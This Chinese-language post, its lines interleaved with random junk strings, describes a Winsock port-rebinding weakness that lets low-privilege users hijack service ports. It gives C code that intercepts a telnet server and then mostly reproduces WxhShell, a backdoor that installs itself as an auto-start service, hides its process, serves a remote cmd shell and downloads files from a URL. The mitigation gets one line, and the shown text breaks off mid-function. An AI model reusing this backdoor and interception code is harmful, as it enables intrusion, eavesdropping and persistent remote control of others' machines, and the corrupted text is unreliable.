在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5O&d3;p' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{VR`; ( :{"C6x saddr.sin_family = AF_INET;
NS@{~;#R sGSsUO:@j; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
,'~#Ch 8Jr1_a bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?0{yq>fTu i^WIr h3a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lzEb5mg >9=:sSQu 这意味着什么?意味着可以进行如下的攻击:
lWbZ=x_0 G]4OFz+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,+s e d/S+(<g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+semfZ) rj 3YTu` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4.8nY\_WF {7qA &c= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>8|+%pK8< "A;s56 }'& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2JVxzj<~` :j@8L.<U 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(3VGaUlx ),=@q+{E{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
V5AW&kfd \^& #include
;UrK{>B #include
%*kLEA*v #include
"}@i+oS #include
Lj8)'[K" DWORD WINAPI ClientThread(LPVOID lpParam);
n+HsQ]z. int main()
<c+K3P'3? {
X8b|]Nr WORD wVersionRequested;
[SkKz>rC DWORD ret;
qgx?"$ Z
WSADATA wsaData;
0 " y%9
BOOL val;
>Q=Ukn;k SOCKADDR_IN saddr;
d8E,o7$m SOCKADDR_IN scaddr;
|g<* Rk0
int err;
i?;R}%~ SOCKET s;
Cp^g'& SOCKET sc;
wz#A1F int caddsize;
z1vw'VT> HANDLE mt;
Ql &0O27 DWORD tid;
'z5h3J wVersionRequested = MAKEWORD( 2, 2 );
\vCGU>UY err = WSAStartup( wVersionRequested, &wsaData );
DI,K(_@G if ( err != 0 ) {
XX2h(- printf("error!WSAStartup failed!\n");
_ij$f< return -1;
EY=FDl V }
7)^:8I( saddr.sin_family = AF_INET;
i)8N(HN FW#P*}# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,."b3wR[w F\:(*1C saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,3HcCuT saddr.sin_port = htons(23);
', {7%G9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oq$w4D0Z {
(e9fm|n!)| printf("error!socket failed!\n");
y bQP E/9 return -1;
8:thWGLN }
(PRBS\*G val = TRUE;
}"_j0ax //SO_REUSEADDR选项就是可以实现端口重绑定的
:$g8Zm,y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
DI1(`y {
__I/F6{ 9V printf("error!setsockopt failed!\n");
^:u?ye; return -1;
*5OCqU+g }
Cqxv"NN //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+@<KC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
JYm7@gx //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
gsPl _ Hx2En:^Gf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
I%"'*7U {
eEl.. y ret=GetLastError();
T5|c$doQ printf("error!bind failed!\n");
a}gkT] return -1;
8;8c"'Mn }
I
:)W*SK listen(s,2);
k1='c7s while(1)
Y]N,.pv= {
hat>kXm2K caddsize = sizeof(scaddr);
`uo,__y //接受连接请求
J!TBREK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.A6lj).: if(sc!=INVALID_SOCKET)
tmJgm5v {
c|AtBgvf mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
WKl+{e if(mt==NULL)
TWd;EnNM {
g=l:cVr8y printf("Thread Creat Failed!\n");
XiQkrZ break;
QTmZ(>z }
,=BLnsg }
.Cz %:%9 CloseHandle(mt);
<
g|Z}Y }
2p!"p`b~ closesocket(s);
W^\d^) WSACleanup();
`t(D! return 0;
+fNvNbtA }
'dJ/RJ~ DWORD WINAPI ClientThread(LPVOID lpParam)
G7@O`N8' {
&:5\"b SOCKET ss = (SOCKET)lpParam;
tX%`#hb?s SOCKET sc;
k?6z_vu unsigned char buf[4096];
feX^~gM SOCKADDR_IN saddr;
j1-,Sqi long num;
r$(~j^<s DWORD val;
DmqSQA DWORD ret;
. + //如果是隐藏端口应用的话,可以在此处加一些判断
PftxqJz //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(Yb[)m>fQ} saddr.sin_family = AF_INET;
LF*&(NC saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
0;.<~;@h saddr.sin_port = htons(23);
JkQ\)^5v if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;V5yXNQ {
Vj?DA5W`' printf("error!socket failed!\n");
+&|S'7&{ return -1;
xV\5<7qk5g }
$uDqqG(^ val = 100;
TDt Amk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]N{0:Va@D {
Anm=*;*M` ret = GetLastError();
%|"g/2sF[G return -1;
k\`S
lb1 }
:6{`~= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)|bC^{kH!l {
nV_8Ke ret = GetLastError();
c#/H:?q?a return -1;
V5`^Y=X(% }
&M/>tEZ) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
I+(/TP {
M*eJ
JY printf("error!socket connect failed!\n");
3oy~= closesocket(sc);
>vbY<HGt closesocket(ss);
#z'uRHx%=0 return -1;
Dw<k3zaW }
+}xaQc:0| while(1)
h"+ `13 {
\]4v_! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*QGm//b //如果是嗅探内容的话,可以再此处进行内容分析和记录
1O/
g&u //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
t.Nb?/ num = recv(ss,buf,4096,0);
!g!5_| if(num>0)
qJ4T]FVN send(sc,buf,num,0);
`D$Jv N else if(num==0)
9W ^xlid6 break;
~|ss*`CT num = recv(sc,buf,4096,0);
"=/ f$Xf if(num>0)
_aWl]I){5 send(ss,buf,num,0);
>Z.\J2wM<j else if(num==0)
6uPcXd:8ZR break;
5ExDB6Bx@y }
PxFWJ?= closesocket(ss);
D L'iS closesocket(sc);
8flOq"uK^ return 0 ;
[U@;\V$ }
_ *f v
*-0M @%ip7Y]e ==========================================================
RoGwK*j0+ W,^W^:m-x 下边附上一个代码,,WXhSHELL
q@hzo>[ K14^JAdY/ ==========================================================
M=qb^~ l jnB~sbyA #include "stdafx.h"
WI> P-D B~
S6R
#include <stdio.h>
'B5^P #include <string.h>
?S$i?\Qh #include <windows.h>
l:#-d.z# #include <winsock2.h>
XQ%4L-rhN #include <winsvc.h>
:r#)z4d5 #include <urlmon.h>
azQ D> ev1 W6B-a #pragma comment (lib, "Ws2_32.lib")
8mT M$#\ #pragma comment (lib, "urlmon.lib")
l5xCz=dw s~I6SA&i #define MAX_USER 100 // 最大客户端连接数
bHLT}x/Gw #define BUF_SOCK 200 // sock buffer
G;NF5`*4mc #define KEY_BUFF 255 // 输入 buffer
dovZ#D@Q gKLyL]kAGz #define REBOOT 0 // 重启
&8.NT~"Gg #define SHUTDOWN 1 // 关机
)a@k]#)Skm 5tjP6Z`!9` #define DEF_PORT 5000 // 监听端口
W&(k!6<x !-`Cp3gqHr #define REG_LEN 16 // 注册表键长度
*]hBGr#6 #define SVC_LEN 80 // NT服务名长度
7>iU1zy ;9o;r)9~ // 从dll定义API
[/s&K{+c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#U8rO;$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yz8mP3"c:o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
fXI:Y8T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
DejA4XdW oi}i\:
hI // wxhshell配置信息
~qe%Yq struct WSCFG {
7dsefNPb int ws_port; // 监听端口
8
C [/dH char ws_passstr[REG_LEN]; // 口令
3(TsgP>` int ws_autoins; // 安装标记, 1=yes 0=no
akw,P$i char ws_regname[REG_LEN]; // 注册表键名
3rLTF\ char ws_svcname[REG_LEN]; // 服务名
HbP!KVHyk1 char ws_svcdisp[SVC_LEN]; // 服务显示名
s,#>m*Rh char ws_svcdesc[SVC_LEN]; // 服务描述信息
<)+y=m\eJ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+)zOer, int ws_downexe; // 下载执行标记, 1=yes 0=no
`.s({/|[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
z'T)=ycT char ws_filenam[SVC_LEN]; // 下载后保存的文件名
lL1k.&|5m pym!U@$t };
F}Vr:~ `Al;vVMRO // default Wxhshell configuration
ctE\ q struct WSCFG wscfg={DEF_PORT,
uqz]J$ "xuhuanlingzhe",
}D+}DPL{^ 1,
X7k.zlH7T "Wxhshell",
iq(
)8nxi "Wxhshell",
`al<(FwGE "WxhShell Service",
>pUtwIP "Wrsky Windows CmdShell Service",
jZ NOt "Please Input Your Password: ",
bfo[" 1,
PkI:*\R "
http://www.wrsky.com/wxhshell.exe",
87hq{tTs] "Wxhshell.exe"
&0f5:M{P };
vfVj=DYj 8@so"d2e // 消息定义模块
y;/VB,4V char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Zd"^</ S char *msg_ws_prompt="\n\r? for help\n\r#>";
:
]C~gc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
N('&jHF char *msg_ws_ext="\n\rExit.";
n:MdYA5,m char *msg_ws_end="\n\rQuit.";
D!7`CH+ char *msg_ws_boot="\n\rReboot...";
A}eOFu`
char *msg_ws_poff="\n\rShutdown...";
*_>Lmm.yh char *msg_ws_down="\n\rSave to ";
B)d(TP,> pz"0J_xDM char *msg_ws_err="\n\rErr!";
Lemui) char *msg_ws_ok="\n\rOK!";
p/+a=Yo pK0"%eA char ExeFile[MAX_PATH];
J2:y6kGj> int nUser = 0;
&b:1I7Cp* HANDLE handles[MAX_USER];
\rv<$d@L int OsIsNt;
t!RiU ZAo 5\z`-) SERVICE_STATUS serviceStatus;
>2~=)L SERVICE_STATUS_HANDLE hServiceStatusHandle;
wI(M^8F_Mf Xh56T^,2 // 函数声明
*}P~P$q% int Install(void);
Gz.|]:1 int Uninstall(void);
;*MLRXq int DownloadFile(char *sURL, SOCKET wsh);
UX7t`l2R int Boot(int flag);
eJg8,7WC void HideProc(void);
%c4Hse#Y int GetOsVer(void);
X&kp;W int Wxhshell(SOCKET wsl);
Y]&j,j& void TalkWithClient(void *cs);
l\i)$=d&g int CmdShell(SOCKET sock);
;^Dpl'v%\ int StartFromService(void);
gEjdN. int StartWxhshell(LPSTR lpCmdLine);
.9wk@C(Eh_ =?!wXOg_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;+ "+3 VOID WINAPI NTServiceHandler( DWORD fdwControl );
\ Yx/(e %7|9sQ: // 数据结构和表定义
`nu''B
H SERVICE_TABLE_ENTRY DispatchTable[] =
Ofs<EQ {
$< JaLS {wscfg.ws_svcname, NTServiceMain},
9 AJ(&qY( {NULL, NULL}
<7~'; K };
A}l3cP;
`# WPQ fhr#| // 自我安装
a|X a3E int Install(void)
ui? {
$&=S#_HQS char svExeFile[MAX_PATH];
vam;4vyu HKEY key;
7' Mm205\ strcpy(svExeFile,ExeFile);
$ ` "" Hl,W=2N // 如果是win9x系统,修改注册表设为自启动
*WuID2cOI if(!OsIsNt) {
%KLpig if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2WdyxjQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7<*yS310 RegCloseKey(key);
+~p88;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-qGa]a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;=MU';o RegCloseKey(key);
K|epPGRr return 0;
{z{bY\ }
yK=cZw%D }
.6Pw|xu`Pw }
5?x>9Ca else {
(JOgy.5C~ r 8RoE`/T // 如果是NT以上系统,安装为系统服务
Tc? $>' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
F'21jy& if (schSCManager!=0)
K|[*t~59 {
2GDD!w#!j SC_HANDLE schService = CreateService
.:F%_dS D (
)?anOD[ schSCManager,
/V'A%2Cl=T wscfg.ws_svcname,
9w7n1k. wscfg.ws_svcdisp,
tVN SERVICE_ALL_ACCESS,
"]}
bFO7C SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
oG_~q
w|h SERVICE_AUTO_START,
WvY?
+JXJ SERVICE_ERROR_NORMAL,
%WjXg:R svExeFile,
[DI+~F NULL,
?82xdpg NULL,
7fZDsj: NULL,
Wi)_H$KII NULL,
9dx/hFA NULL
RMdk:YvBg );
.(cw>7e3D if (schService!=0)
[_EZhq {
m+]K;}.}R CloseServiceHandle(schService);
Fj2BnM3# CloseServiceHandle(schSCManager);
,?^ p(w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,s"^kFl strcat(svExeFile,wscfg.ws_svcname);
#V~me if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
a.k.n< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0Qf,@^zL* RegCloseKey(key);
},{$*f[ return 0;
?67Y-\} }
V Y7[) }
zHM(!\8K CloseServiceHandle(schSCManager);
~qTx|", }
UM"- nZ>[ }
6a~|K-a6 inMA:x}cF1 return 1;
+~ P2C6@G }
-(;26\lE KW pVw! // 自我卸载
<h0?tv] int Uninstall(void)
rlOAo`hd {
Rl?_^dPx HKEY key;
ia!y!_L\' ~:s>aQ`! if(!OsIsNt) {
12b(A+M
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
r@H /kD RegDeleteValue(key,wscfg.ws_regname);
"#2a8# RegCloseKey(key);
n FHUy9q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^ B fC RegDeleteValue(key,wscfg.ws_regname);
)q8p k2 RegCloseKey(key);
K0|FY=#2y return 0;
2*laAB }
#A JDWelD }
3u+T~g0^ }
U:0mp" else {
KQ% GIz x {k
TEHe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
p>v$FiV2N if (schSCManager!=0)
3M[!N {
ZbW17@b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Y!w`YYKP if (schService!=0)
wd8l$*F* {
*&^Pj%DX if(DeleteService(schService)!=0) {
N/"{.3{W CloseServiceHandle(schService);
84& $^lNV CloseServiceHandle(schSCManager);
|4;Fd9q^m return 0;
"^})zf~_ }
FrGgga$ CloseServiceHandle(schService);
m$>H u@Va }
P~ >OS5^ CloseServiceHandle(schSCManager);
"c%0P"u }
#wwH m3 }
|6sp/38#p q 376m-+ return 1;
un mJbY;t }
Q4#m\KK;i9 \kL3.W_ // 从指定url下载文件
-P$PAg5"2 int DownloadFile(char *sURL, SOCKET wsh)
%rL.|q9
{
NX*Q F+ HRESULT hr;
O`IQ(,yef char seps[]= "/";
)-I {^( char *token;
[Kg+^N%+ char *file;
u&Yz[)+b=g char myURL[MAX_PATH];
>
PRFWO char myFILE[MAX_PATH];
;#W2|'HD p_gm3Q strcpy(myURL,sURL);
AUG#_HE]k token=strtok(myURL,seps);
c<:-T while(token!=NULL)
t6"%3#s {
X:"i4i[}{9 file=token;
_Eo[7V{NY token=strtok(NULL,seps);
?Jm^< }
].w4$OJ? v!~fs)cdE| GetCurrentDirectory(MAX_PATH,myFILE);
G:<aB strcat(myFILE, "\\");
&AeX strcat(myFILE, file);
*SJ_z(CZm send(wsh,myFILE,strlen(myFILE),0);
yW=::= send(wsh,"...",3,0);
{L{o]Ii?g hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1hY{k{+o if(hr==S_OK)
HmGWht6R return 0;
Uiw2oi&_ else
Cw3a0u return 1;
X]TG<r Tv,[DI + }
O3,jg|, TQF| a\M' // 系统电源模块
EeE7#$l int Boot(int flag)
`KoV_2| {
~^:A{/ HANDLE hToken;
T4Uev*A TOKEN_PRIVILEGES tkp;
I{C
SH DMr\ TN if(OsIsNt) {
oWT3apGO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
y'.p&QH'` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
sUO`u qZV tkp.PrivilegeCount = 1;
NIry)'" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Rsm^Z!sn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Vx u0F]% if(flag==REBOOT) {
-$ls(oot if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
4SxX3Fw return 0;
q"lSZ;
'E }
<dtGK~_ else {
6@5+m
0`u3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>1Ibc=}g return 0;
E<Y$>uKA }
GR_-9}jQP }
`4J$Et%S else {
z43M]P< if(flag==REBOOT) {
m=:9+z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
x=P\qjSa return 0;
By!o3}~g }
m+[Ux{$ else {
VscE ^'+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
zR:L!S return 0;
F@KGj| }
<)H9V-5aZ }
""G'rN_=Bi 'n3uu1C return 1;
%J?xRv! }
Ffz,J6b JX;G<lev // win9x进程隐藏模块
FDs>m
#e void HideProc(void)
)Nw8O{\ {
B~ GbF*j .*Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*i%.;Z" if ( hKernel != NULL )
=8.
,43+ {
X&`t{Id?6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
E{`fF8]K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
45c$nuZ FreeLibrary(hKernel);
*])
`z8Ox }
]h+j)J}[A qR8Lh( "i return;
FcU SE }
R__OP`! hL{KRRf> // 获取操作系统版本
\r+
a GB int GetOsVer(void)
[RhO$c$[\ {
ea
'D td OSVERSIONINFO winfo;
^}o 2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
",; H`V GetVersionEx(&winfo);
~B?y{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8cIKvHx return 1;
Ve; n}mJ? else
/
zPO return 0;
@qAS*3j }
*^ZV8c} m-#2n?
z- // 客户端句柄模块
VU3upy< int Wxhshell(SOCKET wsl)
`Ggbi4), {
JK5gQ3C[ SOCKET wsh;
ZBp/sm struct sockaddr_in client;
bWU'cw DWORD myID;
VpDbHAg h*](a_0 while(nUser<MAX_USER)
iqWQ!r^ {
ggR.4&< int nSize=sizeof(client);
NZ0;5xGR wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"+G8d'%YV if(wsh==INVALID_SOCKET) return 1;
xi}skA !Wnb|=j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
&Ok):` if(handles[nUser]==0)
oap4rHk} closesocket(wsh);
)jP1or else
fuySN!s nUser++;
^<2p~h0
\ }
lt8|9"9< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)+DmOsH 8{sGNCvU return 0;
%*}(}~ }
2\{zmc}G-0 uKHxe~ // 关闭 socket
DB}eA N/ void CloseIt(SOCKET wsh)
4H&+dRI" {
Rima;9.Y0 closesocket(wsh);
AoxA+.O nUser--;
h2d(?vOT ExitThread(0);
i8]S:4 9 }
T_4/C2 @K-">f // 客户端请求句柄
$xN|5;+ void TalkWithClient(void *cs)
uVrd i?3 {
/k3:']G,s oCz/HQoBk SOCKET wsh=(SOCKET)cs;
/7YIn3 char pwd[SVC_LEN];
<RL] char cmd[KEY_BUFF];
k9L;!TH~1K char chr[1];
9\7en%( M int i,j;
cbTm'}R(G i9x+A/o[ while (nUser < MAX_USER) {
/j.9$H'y >4CbwwMA if(wscfg.ws_passstr) {
_oeS Uzq. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
gg2(5FPP //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`;egv*!P //ZeroMemory(pwd,KEY_BUFF);
3^yK!-Wp( i=0;
o66}yJzmD while(i<SVC_LEN) {
xJ.M;SF4 utV_W& // 设置超时
IH+|}z4N?> fd_set FdRead;
UkFC~17P struct timeval TimeOut;
x[e<} 8'$( FD_ZERO(&FdRead);
=rdV ]{Wc FD_SET(wsh,&FdRead);
tKXIk9e TimeOut.tv_sec=8;
SE*g;Cvg1 TimeOut.tv_usec=0;
j0q&&9/Jj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4j^
@wV' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{+>-7
9b 3!_XEN[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
& 1f+, pwd
=chr[0]; dSHDWu&
if(chr[0]==0xd || chr[0]==0xa) { AA>P`C$&M
pwd=0; 2D5StCF$O
break; La[V$+Y
} [Y `W
i++; ]7A'7p$Y
} 493*{
7b+6%fV
// 如果是非法用户,关闭 socket hM!a_'
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5|)W.*Q
} d&>^&>?$zh
5)X=*I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cFX p
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
[dz _R
B%68\
while(1) { I7]8Y=xf
ftSW
(og
ZeroMemory(cmd,KEY_BUFF); v`T
c}c '
Zv{'MIv&v
// 自动支持客户端 telnet标准 wC'Szni
j=0; -mh3DhJ,
while(j<KEY_BUFF) { *{5fq_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (/$^uWj
cmd[j]=chr[0]; RxQ *
if(chr[0]==0xa || chr[0]==0xd) { E"IZ6)Q
cmd[j]=0; Dw"\/p:-3
break; ;n;p@Uu[
b
} Q/Rqa5LI:
j++; h{qgEIk&
} :k#HW6p
#<xm.
// 下载文件 ^<6[.)
if(strstr(cmd,"http://")) { gRzxLf`K
send(wsh,msg_ws_down,strlen(msg_ws_down),0); VIbq:U
if(DownloadFile(cmd,wsh)) E{vbO/|kf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3OB"#Ap8<
else &7s.`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @2#lI
} s>c=c-SP.
else { k}rbim
# f\rt
switch(cmd[0]) { 8 zb/xP>
n=q76W\
// 帮助 0n'_{\yz
case '?': { cZ3v=ke^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _yT Ed"$
break; '5tCz9}Y
} ?V=CB,^
// 安装 Iu6
case 'i': { W%w~ah|/]
if(Install()) 0*v2y*2V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XK vi=0B
else cz$2R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /mZE/>&~,
break; Zwx%7l;C
} !5N.B|Nt
// 卸载 St^5Byd<
case 'r': { |':{lH6+1
if(Uninstall()) Y4YJJYvD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .RL=xb|[
else E" vS $
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xYB{;K
break; ;F Eqe49
} pK4)yu+
// 显示 wxhshell 所在路径 1.>m@Slr>
case 'p': { ptaKf4P^r
char svExeFile[MAX_PATH]; lLIAw$
strcpy(svExeFile,"\n\r"); @}ZVtrz
strcat(svExeFile,ExeFile); L RF103nw
send(wsh,svExeFile,strlen(svExeFile),0); *NQ/UXE
break; V.2_i*
} e}W)LPR!
// 重启 phz&zlD
case 'b': { FGkVqZ Y2?
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |l!aB(NW
if(Boot(REBOOT)) 7[wPn`v2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dF2RH)Ud
else { D/' dTrR
closesocket(wsh); Qg/rRiV
ExitThread(0); ss-D(K"
} e:W{OIz:
break; 6MI8zRX
} 8b=_Y;
// 关机 eV~goj
case 'd': { i@'dH3-kO
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~QVH<`sn
if(Boot(SHUTDOWN)) 6H|S;K+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !_(Tqyg&
else { W{aY}`
closesocket(wsh); A %-6`>
ExitThread(0); Qwc"[N4H
} ?h2}#wg
break; 8;X-)&R
} y+q5UC|
// 获取shell WEpoBP
CL
case 's': { ch]29
CmdShell(wsh); wyG;8I
closesocket(wsh); :Tq~8!s
ExitThread(0); [/ZO q
break; :hA#m[
} ~)'k 9?0
// 退出 rM"l@3hP
case 'x': { c[e}w+uB
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1:wQ.T
CloseIt(wsh); i6N',&jFU
break; tMe ~vq[
} NEF#
}s2=
// 离开 :Qq#Z
case 'q': { wNX]7wMX
send(wsh,msg_ws_end,strlen(msg_ws_end),0); PaN"sf
closesocket(wsh); B-ESFATc
WSACleanup(); C*lJrFpB
exit(1); YbLW/E\T
break; v8DC21pb
} y?!"6t7&
} T
1t6p&
} J^/p(
CQ2jP
G*py
// 提示信息 },[}$m%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YoE3<[KD(
} JN6B~ZNf
} 'm9` 12H
uVU)d1N
return; zn(PI3+]!
} Ct|A:/z(
A70d\i
// shell模块句柄 'H!XUtFs"
int CmdShell(SOCKET sock) FgI3
{ l+0P
STARTUPINFO si; ?hM64jI|
ZeroMemory(&si,sizeof(si)); (I}v[W
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 59-c<I/}f
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,2)6s\]/b
PROCESS_INFORMATION ProcessInfo; lys#G:H]
char cmdline[]="cmd"; &~w}_Fjk
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }&3~|kP~O
return 0; Vq2$'lY
} ;=UsAB]
WjjB<YKzF
// 自身启动模式 {_dvx*M
int StartFromService(void) U%<Inb}ad
{ L.WljNo
typedef struct 39jG8zr=Z[
{ TB^$1C
DWORD ExitStatus; w*MpX
U<
DWORD PebBaseAddress; PxE3K-S)G
DWORD AffinityMask; >OK^D+v"j
DWORD BasePriority; hpJ-r
ULONG UniqueProcessId; PYzvCf`?
